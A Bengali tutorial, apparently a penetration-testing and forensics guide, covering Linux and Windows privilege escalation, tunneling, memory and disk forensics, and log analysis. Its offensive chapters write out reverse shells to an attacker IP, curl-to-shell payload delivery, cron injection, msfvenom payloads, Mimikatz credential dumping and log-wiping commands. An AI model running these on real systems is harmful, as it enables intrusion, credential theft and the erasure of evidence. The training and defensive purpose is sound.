KALI LINUX SERIES

Kali Linux — Part 5

Post-Exploitation & Forensics — সম্পূর্ণ বাংলা গাইড

LinPEAS/WinPEAS, Netcat/Socat, Chisel Tunneling, Privilege Escalation techniques, Volatility Memory Forensics, Autopsy Disk Forensics, Log Analysis — Post-Exploitation থেকে Incident Response পর্যন্ত সম্পূর্ণ reference।

```
root@kali:~# ./linpeas.sh | tee linpeas_out.txt
root@kali:~# volatility -f memory.dmp --profile=Win10x64 pslist
root@kali:~# find / -perm -4000 -type f 2>/dev/null
```

LinPEAS | WinPEAS | Netcat/Socat | Chisel Tunneling | PrivEsc | Volatility | Autopsy | Log Analysis

05

📋 বিষয়সূচি — Part 5

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CHAPTER 01

🐧 LinPEAS & WinPEAS — Automated PrivEsc Enumeration

Target system-এ privilege escalation-এর সব vector automatically খুঁজে বের করো

🐛

linpeas.sh / winpeas.exe

PEASS-ng suite — Linux ও Windows-এ PrivEsc vector automatically scan করে color-coded output দেয়

PrivEsc Scan Enumeration

🐧 LinPEAS — Target-এ Deliver ও Run করো

```
═══ Method 1: Attacker থেকে HTTP server দিয়ে transfer করো ═══ # Attacker machine-এ (linpeas.sh আছে সেই folder-এ): root@kali:~# python3 -m http.server 8080 # Target machine-এ download করো ও চালাও: target$ wget http://192.168.1.100:8080/linpeas.sh -O /tmp/linpeas.sh target$ chmod +x /tmp/linpeas.sh && /tmp/linpeas.sh ═══ Method 2: Curl দিয়ে সরাসরি run করো (disk-এ save ছাড়া) ═══ target$ curl 192.168.1.100:8080/linpeas.sh | sh ═══ Method 3: GitHub থেকে সরাসরি ═══ target$ curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh ═══ Output file-এ save করো (পরে analyze করার জন্য) ═══ target$ ./linpeas.sh | tee /tmp/linpeas_output.txt ═══ Attacker-এ output পাঠাও (nc দিয়ে) ═══ # Attacker-এ: root@kali:~# nc -lvnp 9001 | tee linpeas_result.txt # Target-এ: target$ ./linpeas.sh | nc 192.168.1.100 9001
```

⚙️ LinPEAS — Flags ও Options

Flag	কাজ
-a	সব checks চালাও (slow কিন্তু thorough)

Flag	কাজ
`-s`	Super fast mode (কম check)
`-o section`	শুধু নির্দিষ্ট section চালাও (Sysl, Usrl, Sofl, Netl, Fill, Prol)
`-d`	Extra checks — directory permissions ইত্যাদি
`-D`	Debug mode
`-P password`	Current user password দাও (sudo check-এর জন্য)
`-q`	Quiet mode — কম noise

🏷️ LinPEAS Output Color Code

🔴 **Red/Yellow — Critical!**

Highly probable PE vector — সবার আগে এগুলো দেখো। SUID files, writable paths, sudo misconfigs।

🟡 **Yellow — Interesting**

Interesting information — manually check করো। Config files, cron jobs, network info।

🔵 **Blue — Info**

General system info — reference হিসেবে রাখো।

⚪ **White — Normal**

Normal/expected output — সাধারণত ignore করো।

□ WinPEAS — Windows PrivEsc Enumeration

```
# Target Windows-এ transfer করো (SMB দিয়ে) root@kali:~# impacket-smbserver share
/opt/tools -smb2support # Windows target-এ: C:\> copy
\\192.168.1.100\share\winpeas.exe C:\Windows\Temp\ C:\> cd C:\Windows\Temp &&
winpeas.exe # PowerShell দিয়ে download করো PS C:\> IEX(New-Object
Net.WebClient).DownloadString('http://192.168.1.100:8080/winpeasany.exe') # নির্দিষ্ট
category চালাও C:\> winpeas.exe systeminfo C:\> winpeas.exe userinfo C:\> winpeas.exe
servicesinfo C:\> winpeas.exe applicationsinfo C:\> winpeas.exe networkinfo C:\>
winpeas.exe windowscreds # Output file-এ save করো C:\> winpeas.exe >
C:\Windows\Temp\winpeas_out.txt 2>&1 # Quiet mode C:\> winpeas.exe quiet
```

CHAPTER 02

⬆️ Linux Privilege Escalation — Manual Techniques

SUID, Sudo, Cron, PATH, Kernel — Linux-এ root পাওয়ার সব পদ্ধতি

🔍 Initial Enumeration — প্রথমে কী দেখব

```
# Basic system info target$ id && whoami # বর্তমান user target$ uname -a # Kernel version target$ cat /etc/os-release # OS version target$ cat /etc/passwd # সব users target$ cat /etc/shadow # Password hashes (root দরকার) target$ sudo -l # Sudo permissions দেখো target$ env # Environment variables target$ history # Command history target$ ls -la /home/ # Other users' home target$ cat /etc/crontab # Cron jobs target$ ls -la /etc/cron* # All cron files target$ ps aux # Running processes target$ netstat -tulnp 2>/dev/null || ss -tulnp # Open ports
```

🔑 SUID/SGID — Exploit করো

💡 SUID কী?

SUID (Set User ID) bit set থাকা file execute হলে file owner-এর permission-এ চলে। যদি root-owned SUID file থাকে এবং সেটা exploitable হয়, তাহলে root shell পাওয়া সম্ভব।

```
# SUID files খোঁজো target$ find / -perm -4000 -type f 2>/dev/null target$ find / -perm -u=s -type f 2>/dev/null # SGID files খোঁজো target$ find / -perm -2000 -type f 2>/dev/null # SUID+SGID দুটো একসাথে target$ find / -perm -6000 -type f 2>/dev/null # GTFOBins দিয়ে exploit করো — উদাহরণ: /usr/bin/find SUID থাকলে target$ find . -exec /bin/sh -p \; -quit # /usr/bin/vim SUID থাকলে target$ vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")' # /usr/bin/python3 SUID থাকলে
```

```
target$ python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")' # /usr/bin/cp SUID থাকলে — /etc/passwd copy করো target$ openssl passwd -1 -salt hack hackedpass target$ echo 'hacker:$1$hack$hash:0:0:root:/root:/bin/bash' >> /tmp/passwd target$ cp /tmp/passwd /etc/passwd target$ su hacker
```

🔓 Sudo Misconfiguration

```
# Sudo permissions দেখো target$ sudo -l # উদাহরণ output: (ALL) NOPASSWD: /usr/bin/vim # এর মানে password ছাড়াই vim root হিসেবে চালানো যাবে # sudo vim দিয়ে root shell: target$ sudo vim -c ':!/bin/bash' # sudo python দিয়ে root shell: target$ sudo python3 -c 'import pty; pty.spawn("/bin/bash")' # sudo awk দিয়ে: target$ sudo awk 'BEGIN {system("/bin/bash")}' # sudo find দিয়ে: target$ sudo find /etc -exec /bin/bash \; # sudo nmap দিয়ে (old version): target$ echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse # sudo less / man / more দিয়ে — !/bin/bash চালাও: target$ sudo less /etc/passwd # তারপর: !/bin/bash # sudo env দিয়ে: target$ sudo env /bin/bash # (ALL) NOPASSWD: ALL থাকলে সরাসরি: target$ sudo su target$ sudo /bin/bash
```

⏰ Cron Job Hijacking

```
# Cron jobs খোঁজো target$ cat /etc/crontab target$ ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ target$ cat /var/spool/cron/crontabs/* target$ crontab -l # Writable script আছে কিনা দেখো # উদাহরণ: /etc/crontab-এ: * * * * * root /opt/scripts/backup.sh target$ ls -la /opt/scripts/backup.sh # -rw-rw-rw- মানে সবাই write করতে পারে # Script-এ reverse shell inject করো target$ echo "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1" >> /opt/scripts/backup.sh # Attacker-এ listener চালাও root@kali:~# nc -lvnp 4444 # Cron job চালানোর সময় root shell পাবে # Script না থাকলে তৈরি করো target$ echo '#!/bin/bash' > /opt/scripts/backup.sh target$ echo 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1' >> /opt/scripts/backup.sh target$ chmod +x /opt/scripts/backup.sh
```

🛤️ PATH Injection

```
# একটি SUID script বা cron job নির্দিষ্ট command চালাচ্ছে কিনা দেখো # যেমন: script.sh-এ "service apache2 restart" লেখা আছে (full path ছাড়া) # Writable directory PATH-এ add
```

```
করো target$ export PATH=/tmp:$PATH # Fake "service" command তৈরি করো /tmp-এ target$
echo '#!/bin/bash' > /tmp/service target$ echo '/bin/bash -p' >> /tmp/service target$
chmod +x /tmp/service # এখন সেই SUID script চালাও → root shell পাবে target$
./vulnerable_suid_script
```

🐛 Kernel Exploit

```
# Kernel version দেখো target$ uname -r target$ cat /proc/version # Searchsploit দিয়ে
kernel exploit খোঁজো root@kali:~# searchsploit linux kernel 4.15 privilege escalation
# Popular kernel exploits: # DirtyCow (CVE-2016-5195) — kernel 2.6.22 to 4.8.3 target$
wget http://192.168.1.100:8080/dirtycow.c -O /tmp/cow.c target$ gcc -pthread
/tmp/cow.c -o /tmp/dirtycow -lcrypt && /tmp/dirtycow # DirtyPipe (CVE-2022-0847) —
kernel 5.8 to 5.16.11 target$ ./dirtypipe /etc/passwd # Linux Local Privilege
Escalation Suggester target$ wget http://192.168.1.100:8080/linux-exploit-suggester.sh
target$ chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh
```

📂 অন্যান্য PrivEsc Vectors

```
# World-writable ও sensitive files খোঁজো target$ find / -writable -type f 2>/dev/null
| grep -v proc target$ find / -writable -type d 2>/dev/null | grep -v proc # Weak file
permissions target$ ls -la /etc/passwd /etc/shadow /etc/sudoers target$ ls -la /root/
# Interesting files target$ find / -name "*.conf" -readable 2>/dev/null | head -20
target$ find / -name "id_rsa" -o -name "id_dsa" 2>/dev/null target$ find / -name
"*.bak" -o -name "*.backup" 2>/dev/null target$ grep -r "password" /etc/ 2>/dev/null
target$ grep -r "password" /var/www/ 2>/dev/null # NFS shares (no_root_squash) target$
cat /etc/exports root@kali:~# showmount -e target_ip root@kali:~# mount -o rw,vers=2
target_ip:/share /mnt/nfs # Docker group সদস্য কিনা দেখো target$ id | grep docker
target$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh # Capabilities check
target$ getcap -r / 2>/dev/null # python3 cap_setuid+ep থাকলে: target$ python3 -c
'import os; os.setuid(0); os.system("/bin/bash")'
```

CHAPTER 03

□ Windows Privilege Escalation

Token impersonation, Service misconfiguration, Registry — Windows-এ SYSTEM পাওয়ার পদ্ধতি

🔍 Initial Enumeration

```
# System info C:\> systeminfo # OS, hotfixes, architecture C:\> whoami /all # Current user + groups + privileges C:\> net user # All local users C:\> net localgroup administrators # Admin group members C:\> net user [username] # Specific user details C:\> ipconfig /all # Network info C:\> netstat -ano # Open connections C:\> tasklist /SVC # Running processes + services C:\> schtasks /query /fo LIST /v # Scheduled tasks C:\> wmic service get name,displayname,startname,startmode # Services
```

🎭 Token Impersonation — Juicy Potato / PrintSpoofer

💡 SeImpersonatePrivilege

whoami /priv-এ SeImpersonatePrivilege বা SeAssignPrimaryTokenPrivilege থাকলে Juicy Potato / PrintSpoofer / RoguePotato দিয়ে SYSTEM হওয়া সম্ভব।

```
# Privilege check করো C:\> whoami /priv # PrintSpoofer (Windows 10, Server 2016/2019) C:\> PrintSpoofer.exe -i -c cmd C:\> PrintSpoofer.exe -c "nc.exe 192.168.1.100 4444 -e cmd" # JuicyPotato (Windows < 2019) C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami" -t * C:\> JuicyPotato.exe -l 1337 -p cmd.exe -a "/c nc.exe 192.168.1.100 4444 -e cmd" -t * # GodPotato (all Windows versions) C:\> GodPotato.exe -cmd "cmd /c whoami" C:\> GodPotato.exe -cmd "nc.exe 192.168.1.100 4444 -e cmd"
```

⚙️ Service Misconfiguration

```
# Unquoted service path খোঁজো C:\> wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows" # Service permissions check করো C:\> accesschk.exe -wuvc "Everyone" * /accepteula C:\> accesschk.exe -wuvc "BUILTIN\Users" * /accepteula # Vulnerable service path # উদাহরণ: C:\Program Files\Vulnerable Service\service.exe # C:\Program.exe তৈরি করলে সেটা চলবে (unquoted) C:\> msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Program.exe C:\> copy Program.exe "C:\Program.exe" C:\> net stop [service] && net start [service] # Weak service permission C:\> sc config [service] binpath= "C:\Windows\Temp\payload.exe" C:\> net stop [service] && net start [service]
```

📋 Registry PrivEsc

```
# AlwaysInstallElevated check করো C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated # দুটোই 0x1 হলে → MSI payload বানাও: root@kali:~# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f msi -o payload.msi C:\> msiexec /quiet /qn /i C:\Windows\Temp\payload.msi # Autologon credentials খোঁজো C:\> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Saved credentials C:\> cmdkey /list C:\> runas /savecred /user:admin "cmd.exe /c whoami"
```

🔑 Pass-the-Hash / Credential Dumping

```
# Meterpreter দিয়ে hashdump (SYSTEM দরকার) meterpreter> hashdump # Mimikatz — SYSTEM হলে সব credentials পাবে meterpreter> load kiwi meterpreter> creds_all meterpreter> lsa_dump_sam meterpreter> lsa_dump_secrets # Mimikatz direct (cmd.exe as SYSTEM) C:\> mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" C:\> mimikatz.exe "privilege::debug" "lsadump::sam" "exit" # CrackMapExec দিয়ে Pass-the-Hash root@kali:~# cme smb 192.168.1.5 -u administrator -H 'NTLM_HASH'
```

CHAPTER 04

🚇 Netcat, Socat & Chisel — Tunneling & Pivoting

Firewall bypass, port forwarding, SOCKS proxy দিয়ে internal network-এ পৌঁছাও

📡 Netcat — সম্পূর্ণ Commands

কমান্ড	কাজ
`nc -lvnp 4444`	TCP listener চালাও (-l=listen, -v=verbose, -n=no dns, -p=port)
`nc 192.168.1.5 4444`	TCP connection করো
`nc -lvnp 4444 -e /bin/bash`	Bind shell — port খুলে bash দাও
`nc host port -e /bin/bash`	Reverse shell পাঠাও
`nc -lvnp 4444 > file.txt`	Incoming data file-এ save করো
`nc host port < file.txt`	File পাঠাও
`nc -zv host 1-1000`	Port scan করো
`nc -u host 53`	UDP connection করো
`nc -w 5 host port`	5 second timeout সেট করো
`rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc host port >/tmp/f`	Named pipe দিয়ে reverse shell (OpenBSD nc)

🔄 Socat — Advanced Networking Tool

```
# TTY reverse shell listener (সবচেয়ে ভালো shell পাবে) root@kali:~# socat file:`tty`,raw,echo=0 TCP-LISTEN:4444 # Target-এ fully interactive shell পাঠাও target$ socat TCP:192.168.1.100:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane # Simple bind shell target$ socat TCP-LISTEN:4444,reuseaddr,fork EXEC:/bin/bash,pty,stderr root@kali:~# socat - TCP:target:4444 # Port forwarding — local 8080 → remote 80 target$ socat TCP-LISTEN:8080,reuseaddr,fork TCP:192.168.1.200:80 # SSL encrypted reverse shell root@kali:~# openssl req -newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt root@kali:~# cat shell.key shell.crt > shell.pem root@kali:~# socat OPENSSL-LISTEN:4444,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0 target$ socat OPENSSL:192.168.1.100:4444,verify=0 EXEC:/bin/bash,pty,stderr,setsid
```

🚇 Chisel — HTTP-based Tunneling

💡 Chisel কী?

Chisel HTTP দিয়ে TCP tunnel করে — Firewall যদি শুধু HTTP allow করে তখনো কাজ করে। Internal network-এ পৌঁছানোর জন্য ideal।

```
═══ Remote Port Forward — Target-এর service attacker-এ access করো ═══ # Attacker-এ server চালাও: root@kali:~# chisel server -p 8080 --reverse # Target-এ client চালাও (internal 80 port forward করো): target$ chisel client 192.168.1.100:8080 R:9090:127.0.0.1:80 # এখন attacker-এ localhost:9090 দিয়ে target-এর port 80 access করো ═══ SOCKS5 Proxy (সব internal network access করো) ═══ # Attacker-এ: root@kali:~# chisel server -p 8080 --reverse # Target-এ: target$ chisel client 192.168.1.100:8080 R:socks # Attacker-এ proxychains configure করো: root@kali:~# echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf # এখন proxychains দিয়ে internal network access করো: root@kali:~# proxychains nmap -sT -p 80,443,22 192.168.2.5 root@kali:~# proxychains curl http://192.168.2.5 root@kali:~# proxychains ssh user@192.168.2.5 ═══ Local Port Forward — Attacker-এর service target-এ forward করো ═══ target$ chisel client 192.168.1.100:8080 3000:localhost:3000
```

🔀 SSH Tunneling / Port Forwarding

```
# Local Port Forward — localhost:8080 → target:80 root@kali:~# ssh -L
8080:127.0.0.1:80 user@target -N # Remote Port Forward — target-এর 4444 →
attacker:4444 root@kali:~# ssh -R 4444:127.0.0.1:4444 user@target -N # Dynamic Port
Forward — SOCKS proxy (internal network) root@kali:~# ssh -D 1080 user@target -N #
proxychains দিয়ে use করো # Double pivot — target → internal → deep internal
root@kali:~# ssh -L 8888:192.168.2.5:22 user@192.168.1.5 -N root@kali:~# ssh -p 8888
user@127.0.0.1
```

CHAPTER 05

🧠 Volatility — Memory Forensics

RAM dump থেকে process, network, malware, credentials — সব বের করো

🧠

volatility3 / vol.py

Open-source memory forensics framework — Windows, Linux, macOS memory dump analyze করতে পারে

Memory Analysis Forensics

🚀 Volatility 3 — Basic Setup ও Syntax

```
# Install করো (যদি না থাকে) root@kali:~# pip3 install volatility3 root@kali:~# git clone https://github.com/volatilityfoundation/volatility3.git root@kali:~# cd volatility3 && python3 setup.py install # Basic syntax (Volatility 3): # vol -f [memory_dump] [plugin] root@kali:~# vol -f memory.dmp windows.info # Volatility 2 syntax (অনেক CTF-এ এখনো use হয়): # volatility -f [dump] --profile=[profile] [plugin] root@kali:~# volatility -f memory.dmp --profile=Win10x64_19041 pslist # Profile identify করো (Volatility 2) root@kali:~# volatility -f memory.dmp imageinfo root@kali:~# volatility -f memory.dmp kdbgscan
```

💻 Process Analysis

Plugin (Vol3)	Plugin (Vol2)	কাজ
windows.pslist	pslist	Running processes দেখাও (EPROCESS list থেকে)
windows.pstree	pstree	Process tree দেখাও (parent-child relationship)
windows.psscan	psscan	Pool scanning — hidden process খোঁজো

Plugin (Vol3)	Plugin (Vol2)	কাজ
`windows.dlllist`	`dlllist`	Process-এর loaded DLL দেখাও
`windows.cmdline`	`cmdline`	প্রতিটি process-এর command line arguments দেখাও
`windows.handles`	`handles`	Open handles দেখাও
`windows.malfind`	`malfind`	Injected code/malware খোঁজো (suspicious memory)
`windows.memmap`	`memmap`	Process memory map দেখাও
`windows.procdump`	`procdump`	Process executable disk-এ dump করো
`windows.memdump`	`memdump`	Process memory সম্পূর্ণ dump করো

🌐 Network Analysis

Plugin (Vol3)	Plugin (Vol2)	কাজ
`windows.netstat`	`netscan`	Network connections দেখাও (active + closed)
`windows.netstat`	`connections`	Active TCP connections (WinXP/2003)
`windows.netstat`	`connscan`	Connection pool scan (terminated সহ)

📂 File System ও Registry

Plugin (Vol3)	Plugin (Vol2)	কাজ
`windows.filescan`	`filescan`	Memory-তে থাকা file objects খোঁজো
`windows.dumpfiles`	`dumpfiles`	Memory থেকে file extract করো
`windows.registry.hivelist`	`hivelist`	Registry hives দেখাও
`windows.registry.printkey`	`printkey`	Registry key value দেখাও
`windows.registry.userassist`	`userassist`	Recently accessed programs দেখাও

🔑 Credentials Extraction

Plugin (Vol3)	Plugin (Vol2)	কাজ
windows.hashdump	hashdump	SAM database থেকে password hash dump করো
windows.lsadump	lsadump	LSA secrets dump করো
windows.cachedump	cachedump	Cached domain credentials dump করো
windows.clipboard	clipboard	Clipboard data দেখাও

```
# Volatility 3 — সম্পূর্ণ workflow root@kali:~# vol -f memory.dmp windows.info # OS info
root@kali:~# vol -f memory.dmp windows.pslist # Process list root@kali:~# vol -f
memory.dmp windows.pstree # Process tree root@kali:~# vol -f memory.dmp windows.psscan
# Hidden processes root@kali:~# vol -f memory.dmp windows.netstat # Network
connections root@kali:~# vol -f memory.dmp windows.cmdline # Command line args
root@kali:~# vol -f memory.dmp windows.malfind # Injected code root@kali:~# vol -f
memory.dmp windows.hashdump # Password hashes root@kali:~# vol -f memory.dmp
windows.filescan | grep -i "\.txt\|\.docx\|\.pdf" # Specific PID-এর process dump করো
root@kali:~# vol -f memory.dmp windows.procdump --pid 1234 --dump-dir /tmp/dumps/ #
File extract করো (offset দিয়ে) root@kali:~# vol -f memory.dmp windows.dumpfiles --
virtaddr 0xc000012345 # Strings extract করো (মাঝে মাঝে password পাওয়া যায়) root@kali:~#
strings memory.dmp | grep -i "password\|passwd\|credential"
```

CHAPTER 06

💿 Autopsy & Sleuth Kit — Disk Forensics

Disk image analysis, deleted file recovery, file timeline — digital evidence collect করো

💿 Disk Image তৈরি করো

```
# dd দিয়ে disk image তৈরি করো root@kali:~# dd if=/dev/sdb of=/evidence/disk.img bs=4M status=progress # dcfldd (dd + hash verification) root@kali:~# dcfldd if=/dev/sdb of=/evidence/disk.img hash=md5 md5log=/evidence/hash.txt # Image verify করো (MD5) root@kali:~# md5sum /evidence/disk.img # Image mount করো (read-only) root@kali:~# mount -o ro,loop /evidence/disk.img /mnt/evidence # Specific partition mount করো root@kali:~# fdisk -l disk.img # Partition offset দেখো root@kali:~# mount -o ro,loop,offset=$((512*2048)) disk.img /mnt/part1
```

🔍 The Sleuth Kit (TSK) — CLI Forensics

কমান্ড	কাজ
`mmls disk.img`	Partition table দেখাও
`fsstat -o 2048 disk.img`	File system info দেখাও
`fls -r -o 2048 disk.img`	সব files ও directories list করো (deleted সহ)
`fls -r -d -o 2048 disk.img`	শুধু deleted files দেখাও
`icat -o 2048 disk.img [inode]`	Inode দিয়ে file content দেখাও / recover করো
`ils -o 2048 disk.img`	Inode information দেখাও
`tsk_recover disk.img /output/`	Recoverable files extract করো

কমান্ড	কাজ
`tsk_gettimes -o 2048 disk.img > timeline.txt`	File timeline তৈরি করো
`mactime -b timeline.txt -d > readable.csv`	Human-readable timeline তৈরি করো

💻 Autopsy — GUI Forensics Platform

```
# Autopsy চালু করো root@kali:~# autopsy # Browser-এ যাও: http://localhost:9999/autopsy
# CLI mode-এ case তৈরি করো root@kali:~# autopsy -c /evidence/case/
```

Autopsy Feature	কাজ
Add Data Source	Disk image, folder, বা VM import করো
File Analysis	File system browse, hex view, metadata দেখো
Keyword Search	Text string, regex দিয়ে সব file search করো
Deleted Files	Deleted file recover করো
Timeline Analysis	File activity timeline দেখো
Hash Sets	Known malware hash দিয়ে file match করো
Web Artifacts	Browser history, cookies, downloads দেখো
Email Analysis	Email files parse করো
Report Generation	HTML/PDF report তৈরি করো

🔧 অন্যান্য Forensics Tools

```
# Foremost — file carving (deleted file recovery) root@kali:~# foremost -i disk.img -o
/output/ -t jpg,pdf,doc,zip # Scalpel — advanced file carving root@kali:~# scalpel
disk.img -o /output/ # Binwalk — firmware/binary analysis root@kali:~# binwalk
firmware.bin # Analyze root@kali:~# binwalk -e firmware.bin # Extract root@kali:~#
```

```
binwalk -dd '.*' firmware.bin # Extract all # Exiftool — file metadata root@kali:~#
exiftool image.jpg # EXIF data দেখো root@kali:~# exiftool -all= image.jpg # সব
metadata মুছো root@kali:~# exiftool -r *.jpg # Recursive analyze # Strings — binary
থেকে readable text root@kali:~# strings -a malware.exe | grep -i "http\|pass\|key" #
File type check root@kali:~# file suspicious_file root@kali:~# xxd suspicious_file |
head -5 # Magic bytes দেখো # Hash calculation root@kali:~# md5sum file && sha1sum file
&& sha256sum file
```

CHAPTER 07

📋 Log Analysis & Incident Response

Linux ও Windows logs analyze করো, compromised system চিহ্নিত করো, evidence collect করো

📄 Linux Log Files — গুরুত্বপূর্ণ Locations

Log File	কাজ	গুরুত্ব
`/var/log/auth.log`	SSH login, sudo, authentication events	Critical
`/var/log/syslog`	General system messages	High
`/var/log/kern.log`	Kernel messages	Medium
`/var/log/apache2/access.log`	Apache web access log	Critical
`/var/log/apache2/error.log`	Apache error log	High
`/var/log/nginx/access.log`	Nginx access log	Critical
`/var/log/mysql/mysql.log`	MySQL query log	High
`/var/log/cron`	Cron job execution log	High
`/var/log/btmp`	Failed login attempts (binary)	Critical
`/var/log/wtmp`	Login/logout history (binary)	High
`/var/log/lastlog`	Last login per user (binary)	Medium
`/root/.bash_history`	Root's command history	Critical

🔍 Log Analysis Commands

```
# Failed SSH login attempts দেখো root@kali:~# grep "Failed password" /var/log/auth.log
| tail -50 root@kali:~# grep "Failed password" /var/log/auth.log | awk '{print $11}' |
sort | uniq -c | sort -rn | head # Successful SSH login দেখো root@kali:~# grep
"Accepted password\|Accepted publickey" /var/log/auth.log # Sudo usage দেখো
root@kali:~# grep "sudo" /var/log/auth.log | grep -v "pam_unix" # User creation দেখো
root@kali:~# grep "useradd\|adduser" /var/log/auth.log # Web attack signatures দেখো
root@kali:~# grep -E "union|select|insert|drop|exec|passwd|etc"
/var/log/apache2/access.log root@kali:~# grep -E "\.\.\/|etc/passwd|/bin/sh|cmd\.exe"
/var/log/apache2/access.log # IP কতবার access করেছে root@kali:~# awk '{print $1}'
/var/log/apache2/access.log | sort | uniq -c | sort -rn | head -20 # 404 errors দেখো
(scanner চলছে কিনা) root@kali:~# grep " 404 " /var/log/apache2/access.log | awk '{print
$1}' | sort | uniq -c | sort -rn # Login history (binary log) root@kali:~# last -a |
head -30 # Login history root@kali:~# lastb | head -30 # Failed login root@kali:~#
lastlog # Last login per user root@kali:~# who # Currently logged in root@kali:~# w #
Who + what they're doing
```

⚙️ journalctl — Systemd Log Analysis

কমান্ড	কাজ
`journalctl`	সব system logs দেখাও
`journalctl -f`	Live log follow করো
`journalctl -u ssh`	SSH service logs দেখাও
`journalctl -p err`	Error level logs দেখাও
`journalctl --since "1 hour ago"`	গত ১ ঘণ্টার logs দেখাও
`journalctl --since "2024-01-01" --until "2024-01-02"`	নির্দিষ্ট সময়ের logs দেখাও
`journalctl -n 100`	শেষ ১০০ লাইন দেখাও
`journalctl _UID=1000`	নির্দিষ্ট UID-এর logs

🚨 Compromised System Checklist

```
# === আক্রান্ত সিস্টেম identify করার checklist === # 1. Unusual processes target$ ps auxf # Suspicious processes target$ ps aux | grep -v "^root\|^www-data\|^systemd" # 2. Network connections target$ ss -tulnp # Unknown listening ports target$ ss -tp | grep ESTABLISHED # Established connections target$ netstat -ano | grep -v "127.0.0.1" # 3. Recently modified files target$ find / -mtime -1 -type f 2>/dev/null | grep -v proc target$ find /var/www /tmp /dev/shm -type f -mtime -7 2>/dev/null # 4. Suspicious files in temp locations target$ ls -la /tmp/ /var/tmp/ /dev/shm/ # 5. Crontab anomalies target$ cat /etc/crontab && ls /etc/cron* target$ for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l 2>/dev/null; done # 6. New user accounts target$ awk -F: '$3 >= 1000 {print}' /etc/passwd target$ grep -v "^#" /etc/sudoers # 7. SUID files (newly added) target$ find / -perm -4000 -newer /etc/passwd 2>/dev/null # 8. Webshells খোঁজো target$ find /var/www -name "*.php" -newer /var/www/index.php 2>/dev/null target$ grep -rn "system\|exec\|shell_exec\|passthru\|eval\|base64_decode" /var/www/ 2>/dev/null # 9. Rootkit check root@kali:~# rkhunter --check --skip-keypress root@kali:~# chkrootkit # 10. Open files target$ lsof -i 4 -n -P | grep LISTEN # Listening services target$ lsof +D /tmp # /tmp-এ open files
```

CHAPTER 08

🧹 Covering Tracks — নিজেকে মুছে ফেলো

Log clear, history delete, timestamp modify — attacker ও defender উভয়ের জানা দরকার

> ⚠️ **শুধু Authorized Environment-এ**
>
> এই techniques শুধু Penetration Testing বা CTF-এর জন্য। Defender হিসেবে এগুলো জানা দরকার কারণ attacker কী করতে পারে সেটা বুঝলে তুমি আরও ভালো protect করতে পারবে।

🗑️ History ও Log Clear করা

```
# Bash history disable করো (session শুরুতে) target$ unset HISTFILE target$ export HISTSIZE=0 target$ export HISTFILESIZE=0 # History file মুছো target$ history -c && history -w target$ cat /dev/null > ~/.bash_history target$ rm -f ~/.bash_history # Current session history দেখতে না দাও target$ export HISTFILE=/dev/null # Auth log clear করো (root দরকার) target$ cat /dev/null > /var/log/auth.log target$ cat /dev/null > /var/log/syslog # Specific entry মুছো target$ sed -i '/192.168.1.100/d' /var/log/auth.log target$ sed -i '/attacker_ip/d' /var/log/apache2/access.log # lastlog, wtmp, btmp clear করো target$ cat /dev/null > /var/log/wtmp target$ cat /dev/null > /var/log/btmp # Journalctl logs clear করো target$ journalctl --rotate && journalctl --vacuum-time=1s
```

⏱️ File Timestamp Modify করো

```
# File-এর timestamp আগের মতো করো target$ touch -t 202301011200 /tmp/malware.sh # Jan 1, 2023, 12:00 # অন্য file-এর মতো timestamp করো target$ touch -r /etc/passwd /tmp/suspicious_file # Access ও modify time আলাদাভাবে সেট করো target$ touch -a -t 202301010000 file # Access time target$ touch -m -t 202301010000 file # Modify time
```

🔒 Persistence Remove করো

```
# Cron job remove করো target$ crontab -r # Current user-এর crontab target$ crontab -u root -r # Root-এর crontab # Dropped files মুছো target$ shred -zu /tmp/payload.sh # Secure delete (overwrite) target$ rm -rf /tmp/.hidden_folder/ # SSH authorized_keys থেকে key মুছো target$ sed -i '/attacker_key/d' ~/.ssh/authorized_keys # Added user remove করো target$ userdel -r backdoor_user
```

🔬 Post-Exploitation & Forensics — মূল কথা

- 🐛 **LinPEAS/WinPEAS:** Shell পাওয়ার সাথে সাথেই চালাও — PrivEsc vector খুঁজে দেবে
- ⬆️ **PrivEsc Order:** Sudo → SUID → Cron → PATH → Capabilities → Kernel
- 🔄 **Pivoting:** Internal network-এ পৌঁছাতে Chisel SOCKS proxy সবচেয়ে reliable
- 🧠 **Memory Forensics:** RAM dump পেলে প্রথমে pslist, psscan, netstat, malfind চালাও
- 💿 **Disk Forensics:** Image তৈরির পরে MD5 verify করো — chain of custody রক্ষা
- 📋 **Logs:** /var/log/auth.log ও web logs সবার আগে দেখো — attacker-এর footprint পাবে

🎉 Kali Linux Series — সম্পূর্ণ!

সিরিজের সব Part সফলভাবে শেষ হয়েছে।

✅ Part 1 — Basic Commands + Recon

✅ Part 2 — Web Hacking Tools

✅ Part 3 — Exploitation Tools

✅ Part 4 — Password + Wireless

✅ Part 5 — Post-Exploitation + Forensics

🐧 "The best security professional is the one who thinks like an attacker and defends like a guardian."

